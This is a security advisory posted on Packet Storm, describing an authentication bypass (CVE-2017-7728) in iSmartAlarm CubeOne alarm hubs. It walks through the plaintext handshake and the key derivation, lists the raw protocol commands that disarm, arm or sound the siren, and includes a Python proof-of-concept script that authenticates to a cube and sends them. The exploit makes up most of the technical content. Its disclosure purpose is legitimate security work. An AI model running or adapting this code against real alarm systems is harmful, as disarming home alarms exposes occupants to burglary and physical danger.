what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

iSmartAlarm CubeOne Remote Command Execution

iSmartAlarm CubeOne Remote Command Execution
Posted Jul 14, 2017
Authored by Ilia Shnaidman

iSmartAlarm CubeOne suffers from a remote command execution vulnerability that allows disabling the alarm and setting it off.

tags | exploit, remote
advisories | CVE-2017-7728
SHA-256 | 4430cd29b879fd0975002c47989434a03744c202fb70efe80eea72dbabd51292

iSmartAlarm CubeOne Remote Command Execution

Change Mirror Download
[+] Credits: Ilia Shnaidman
[+] @0x496c on Twitter
[+] Source:
http://dojo.bullguard.com/blog/burglar-hacker-when-a-physical-security-is-compromised-by-iot-vulnerabilities/


Vendor:
=============
iSmartAlarm, inc.


Product:
===========================
iSmartAlarm cube - All

iSmartAlarm is one of the leading IoT manufactures in the domain of smart alarm systems.
It provides a fully integrated alarm system with siren, smart cameras and locks.
It functions like any alarm system, but with the benefits of a connected device: alerts pop up on your phone,
offering you full remote control via mobile app wherever you are.


Vulnerability Type:
======================
Authentication Bypass


CVE Reference:
=============
CVE-2017-7728


Security Issue:
================
On iSmartAlarm cube devices, there is an authentication bypass.
The vulnerability can lead to remote execution of alarm's commands; setting the alarm on/off and activating the alarm siren.


Additional Information:
===============
1. First the app and the cube authenticate by using sophisticated 4 way
handshake.
Looks like that:
App ISAT\x01\x00*3\x01\x00*7
Cube ISAT\x02\x00*3\x01\x00*3\x10\x00*3 + "Cube generated Secret Key"
2. Encryption algorithm: With the "Secret key" and the IPU (encryption key)
the app decrypts a key using XXTEA encryption algorithm (funny thing is that ismartalarm implementation is broken).
After that, the algorithm takes the output of the XXTEA enc and then reverses the output.
This is the "new key"! So now, we got the encryption key, and we can do whatever we want with the alarm.
3. The app sends command as follows to proceed with the authentication:
App ISAT\x03\x00*3\x01\x00*3\x10\x00*3 + "new key"
Cube ISAT\x04\x00*3\x01\x00*3\x01\x00*3\x01
4. NOW WE ARE AUTHENTICATED.
we can now send one of the following commands to the cube
Disarming the alarm "Disarm mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x002
Arming the alarm "Arm mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x000
Activate alarm's siren "Panic mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x003


Attack Vectors:
===============
After authentication, using the above protocol will allow full control
of the alarm.

When iSmartAlarm's mobile app connected to the same network as the iSmartAlarm's cube,
their authentication and then communication are made on port tcp/12345 in PLAIN TEXT.
Obtaining encryption key is done by using CVE-2017-7726. After setting the MITM
a POST request is made to the following api:
https://api.ismartalarm.com:8443/api/GetIpuEnr.ashx
>From there an attacker can obtain the encryption key.
After obtaining the encryption key, using the above protocol will allow an
attacker a full control over the alarm system.


PoC:
===============
#!/usr/bin/python
# auther: Ilia Shnaidman
# @0x496c on Twitter

# python27
import socket
import struct

# - - - - - - -
ISMART_SYN = 'ISAT\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
ISMART_SYN_ACK = 'ISAT\x02\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_ACK_PREFIX = 'ISAT\x03\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_SUCCESS_ACK = 'ISAT\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01'
ISMART_ALARM_DISARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x002'
ISMART_ALARM_DISARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00200'
ISMART_ALARM_ARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x000'
ISMART_ALARM_ARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00000'
ISMART_ALARM_PANIC = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x003'
ISMART_ALARM_PANIC_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00300'
DELTA = 0x9e3779b9
IP = '1.2.3.4'
ISMART_PORT = 12345
# retrieve ismartalarm key using CVE-2017-7726,
# and search for /GetIpu.ashx api
ISMART_KEY = ""
MTU = 1450
# - - - - - - -

def decrypt_in_place(data,key):
#data_out = [0,0,0,0]
key_u = struct.unpack('>IIII', key)
data_u = struct.unpack('>IIII', data)
data_u = [i for i in data_u]
if len(key_u) != 4:
return None
if len(data_u) != 4:
return None
y = data_u[0]
sum = (6 + (52/4)) * DELTA
l = 4
for i in xrange(19):
e = (sum >> 2) & 3
for p in xrange(3,0,-1):
z = data_u[p-1]
y = (data_u[p] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(p&3)^e]^z)))&0xffffffff))&0xffffffff
data_u[p] = y
z = data_u[l-1]
y = (data_u[0] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(0&3)^e]^z)))&0xffffffff))&0xffffffff
data_u[0] = y
sum = sum - DELTA
return data_u

def revarr(arr):
n_arr = [0]*16
for i in xrange(4):
n_arr[i] = arr[3-i]
n_arr[i+4] = arr[7-i]
n_arr[i+8] = arr[11-i]
n_arr[i+12] = arr[15-i]
return "".join(n_arr)

def ismartalarm_connection():
ismart_so = socket.socket()
ismart_so.settimeout(5)
ismart_so.connect((IP, ISMART_PORT))
ismart_so.send(ISMART_SYN)
so_recv = ismart_so.recv(MTU)
if ISMART_SYN_ACK == so_recv[:16]:
ismart_secret = so_recv[16:]
key = ISMART_KEY
data_dec = decrypt_in_place(revarr(ismart_secret), revarr(key))
data_dec_rev = revarr("".join(["{0:0{1}x}".format(i,8) for i in data_dec]).decode("hex"))
ismart_so.send("%s%s" % (ISMART_ACK_PREFIX, data_dec_rev))
so_recv = self.ismart_so.recv(MTU)
if ISMART_SUCCESS_ACK == so_recv:
# We are authenticated
return ismart_so
return False

def ismart_commands(command):
# Get authenticated connection to ismartalarm
ismart_so = ismartalarm_connection()
if not ismart_so:
# we failed to authenticate
return False
if not command:
return False
if "arm" is command:
print "[+] Sending arm command"
ismart_so.send(ISMART_ALARM_ARM)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_ARM_ACK == so_recv:
print "[!] Success! iSmart Alarm system is ARMED!"
elif "disarm" is command:
print "[+] Sending disarm command"
ismart_so.send(ISMART_ALARM_DISARM)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_DISARM_ACK == so_recv:
print "[!] Success! iSmartAlarm system is disarmed!"
elif "panic" is command:
print "[+] Sending panic command, close your ears :)"
ismart_so.send(ISMART_ALARM_PANIC)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_PANIC_ACK == so_recv:
print "[!] Success! iSmartAlarm system is in panic mode!"
return True



Network Access:
===============
Remote


Severity:
=========
High


Disclosure Timeline:
=====================================
Jan 30, 2017: Initial contact to vendor
Feb 1, 2017: Vendor replied, requesting details
Feb 2, 2017: Disclosure to vendor
Apr 12, 2017: After vendor didn't replied, I've approached CERT
Apr 13, 2017: Confirmed receipt by CERT and assigning CVEs
July 05, 2017: Public disclosure


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close